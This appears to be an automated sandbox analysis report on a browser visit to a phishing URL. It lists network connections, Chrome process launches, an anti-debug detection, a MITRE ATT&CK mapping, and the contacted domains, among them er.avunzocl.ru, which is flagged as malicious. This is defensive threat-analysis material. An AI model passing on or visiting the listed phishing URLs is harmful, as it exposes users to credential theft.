Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.181:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.181:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.143.230:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.171.153:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.181:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.196:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.174:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.176.206:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.46:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.110:443 -> 192.168.2.5:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.78:443 -> 192.168.2.5:49887 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6848_771282557

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6848_771282557

Jump to behavior

Source: classification engine

Classification label: mal76.phis.evad.win@30/109@38/19

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2080 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3856 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://er.avunzocl.ru/hhtc/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=720 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6156 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2080 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6156 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3856 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6156 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,9616301662886677048,12614054931067708883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=720 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: _.l.Ic=function(){_.pdb.od.Ic.call(this);_.Hl(this.handle,["touchstart","mousedown"],this.M3b,!1,this);this.ka.removeAll();this.La&&this.wa.releaseCapture();this.handle=this.target=null}; source: chromecache_187.3.dr
Source:	Binary string: var zJb=function(a,b){a.wRa=b;a.Na()&&(b=a.Kba())&&_.rl(b,a.wRa)},AJb=function(a,b){a.Djb=b;if(a.Yq()){var c=a.ka,d=a.Kba(),e=a.IJ;b?(e&&c.gQb(e,a.Na()),c.gQb(d,a.Na())):(c.removeNode(e),c.removeNode(d))}a.isVisible()&&vJb(a,b)},BJb=function(a){1!=a.Djb&&AJb(a,!0)},CJb=function(a,b){var c=_.la(a.wa+"-title-draggable").split(" ");a.Na()&&(b?_.gk(a.nQ,c):_.ik(a.nQ,c));b&&!a.e5?(b=new _.pdb(a.Na(),a.nQ),a.e5=b,_.gk(a.nQ,c),_.Id(a.e5,"start",a.Rad,!1,a),_.Id(a.e5,"drag",a.qua,!1,a)):!b&&a.e5&&(a.e5.dispose(), source: chromecache_162.3.dr
Source:	Binary string: _.pdb=function(a,b,c){_.Gd.call(this);this.target=a;this.handle=b\|\|a;this.Ia=c\|\|new _.bl(NaN,NaN,NaN,NaN);this.wa=_.kf(a);this.ka=new _.Ll(this);_.ug(this,this.ka);this.deltaY=this.deltaX=this.Ta=this.Qa=this.screenY=this.screenX=this.clientY=this.clientX=0;this.Ca=!0;this.Aa=this.oa=!1;_.Id(this.handle,["touchstart","mousedown"],this.M3b,!1,this);this.La=_.MCa};_.Zg(_.pdb,_.Gd);_.l=_.pdb.prototype;_.l.Kj=function(){return this.Ca};_.l.setEnabled=function(a){this.Ca=a}; source: chromecache_187.3.dr

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match

File source: 0.2.d.script.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://er.avunzocl.ru/hhtc/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://er.avunzocl.ru/tvajiBy7onsdzkhneurSzR51zrCamRMKZht6szjonmim	0%	Avira URL Cloud	safe
https://er.avunzocl.ru/favicon.ico	0%	Avira URL Cloud	safe
https://dd18.hqfyed.ru/kabutar$ds6t5	0%	Avira URL Cloud	safe
https://er.avunzocl.ru/rqDWOipXOpKswPVOYE9wkWulPSYTDz58tzo6LYGRjy	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
er.avunzocl.ru	104.21.63.181	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
google.com	142.251.40.142	true	false	high
code.jquery.com	151.101.194.137	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
www3.l.google.com	142.251.40.174	true	false	high
plus.l.google.com	142.250.176.206	true	false	high
play.google.com	142.250.64.78	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.251.40.164	true	false	high
dd18.hqfyed.ru	172.67.143.230	true	false	unknown
ogs.google.com	unknown	unknown	false	high
accounts.youtube.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.com/xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/ck=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/ujg=1/rs=ACT90oGkziwljBCqPtF7zkxsImG3IkkszQ/m=zx30Y,sy1a9,sy1a8,sy19z,sy169,Wo3n8,syrd,loL8vb,sys1,sys0,syrz,ms4mZb,sypk,B2qlPe,syvb,NzU6V,syzx,syvq,zGLm3b,syx7,syx8,sywx,DhPYme,syz2,syz4,syxo,syxq,syz3,syxn,syz7,syz6,syz0,syz1,KHourd,MpJwZc,UUJqVe,sy8r,sOXFj,sy8q,s39S4,oGtAuc,nAFL3,sy92,q0xTif,y05UD,PPhKqf,sy13h,sy191,sy18v,syy6,sy18o,sy14e,syy8,syy7,sy18u,sy147,sy18l,sy14b,sy13d,sy18p,sy14c,sy14d,sy18w,sy134,sy18t,sy18s,sy18q,sylw,syn4,sy18r,sy18g,sy18k,sy18h,sy18x,sy18m,sy18i,sy18e,sy18b,sy14z,sy14g,sy14h,syyd,syye,epYOx?xjs=s3	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://www.google.com/gen_204?atyp=i&ei=pF_cZ7LvOfKGptQP2o684AU&ct=slh&v=t1&im=M&m=HV&pv=0.31742035408048275&me=1:1742495652980,V,0,0,1280,897:0,B,897:0,N,1,pF_cZ7LvOfKGptQP2o684AU:0,R,1,1,0,0,1280,897:0,R,1,4,445,334,391,16:2916,x:14563,e,B&zx=1742495670459&opi=89978449	false		high
https://www.google.com/images/hpp/ic_wahlberg_product_core_48.png8.png	false		high
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://www.google.com/gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=aLUfP&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=4&dbs=1521&ebs=1521&ts=1821&ws=0&ls=5373&le=5702&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495656973&opi=89978449	false		high
https://www.google.com/xjs/_/js/md=2/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/rs=ACT90oFgtGTLIu-tSSGYCTCEbsdpabFYhw	false		high
https://www.google.com/async/hpba?vet=10ahUKEwiy0aqTppmMAxVyg4kEHVoHD1wQj-0KCBc..i&ei=pF_cZ7LvOfKGptQP2o684AU&opi=89978449&yv=3&sp_imghp=false&sp_hpte=1&sp_hpep=1&stick=&cs=0&async=_basejs:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O%2Fam%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho%2Fdg%3D0%2Fbr%3D1%2Frs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:%2Fxjs%2F_%2Fss%2Fk%3Dxjs.hd.3UF5emn0zs8.L.B1.O%2Fam%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC%2Fbr%3D1%2Frs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O%2Fck%3Dxjs.hd.3UF5emn0zs8.L.B1.O%2Fam%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho%2Fd%3D1%2Fed%3D1%2Fdg%3D0%2Fbr%3D1%2Fujg%3D1%2Frs%3DACT90oGkziwljBCqPtF7zkxsImG3IkkszQ,_fmt:prog,_id:_pF_cZ7LvOfKGptQP2o684AU_9	false		high
https://www.google.com/logos/doodles/2025/mens-college-basketball-tournament-first-round-2025-6753651837110662.2-6752733080620936-cst.gif	false		high
https://www.google.com/xjs/_/ss/k=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/d=1/ed=1/br=1/rs=ACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw/m=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi	false		high
https://www.google.com/xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/rs=ACT90oFI843KH_skkA3LMEIA-jaywe7UZQ/m=sysb,XCToU,syse,sysd,VsqSCc,sy1bb,P10Owf,sy1a0,gSZvdb,syzh,WlNQGd,syr2,syqz,syqy,DPreE,syzs,syzr,nabPbb,syzc,syza,syjq,synh,CnSW2d,kQvlef,syzq,fXO0xe?xjs=s4	false		high
https://www.google.com/client_204?atyp=i&biw=1280&bih=897&ei=pF_cZ7LvOfKGptQP2o684AU&opi=89978449	false		high
https://a.nel.cloudflare.com/report/v4?s=UlrK1b0g6XIowas81r88osBrqnW3qADm3bLMVVd%2FquuDvac37pSlPzku2E3nRQIqgMTjkxkFFR6QCl4nRMCMj9ng2RrhqZxagp4HDZe%2BTGKBS7H%2FxY3BMR3%2FR54er6ZjL7M6	false		high
https://www.google.com/complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=pF_cZ7LvOfKGptQP2o684AU.1742495654280&dpr=1&nolsbt=1	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://www.google.com/xjs/_/ss/k=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/d=0/br=1/rs=ACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw/m=syjq,synh?xjs=s4	false		high
https://www.google.com/gen_204?atyp=i&ei=pF_cZ7LvOfKGptQP2o684AU&vet=10ahUKEwiy0aqTppmMAxVyg4kEHVoHD1wQuqMJCCY..s&bl=cfyP&s=webhp&lpl=CAUYATAIOANiCAgEEP-34LUC&zx=1742495655939&opi=89978449	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://er.avunzocl.ru/hhtc/	true		unknown
https://www.google.com/favicon.ico	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://www.google.com/gen_204?atyp=i&ct=ppm&cad=&lids=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi&p1_dbs=1000853&p1_ebs=1000853&p1_ts=1001153&p1_ws=0&p1_ls=1651&p1_le=2874&sn=webhp&sp=0&ss=0&ids=sb_wiz,aa,abd,U9EYge,async,ifl,pHXghd,sf,sonic,spch,rtH1bd,EiD4Fe,SMquOb,uxMpU,Mlhmy,QGR0gd,OTA3Ae,EEDORb,PoEs9b,Pjplud,A1yn5d,YIZmRd,uY49fb,byfTOb,lsjVmc,LEikZe,kWgXee,ovKuLd,sgY6Zb,xUdipf,NwH0H,gychg,ZfAoz,yDVVkb,qafBPd,ebZ3mb,dowIGb,d5EhJe,fCxEDd,T1HOxc&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=1&dbs=392629&ebs=392629&ts=392929&ws=0&ls=3027&le=4556&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495655853&opi=89978449	false		high
https://www.google.com/images/searchbox/desktop_searchbox_sprites318_hr.webp	false		high
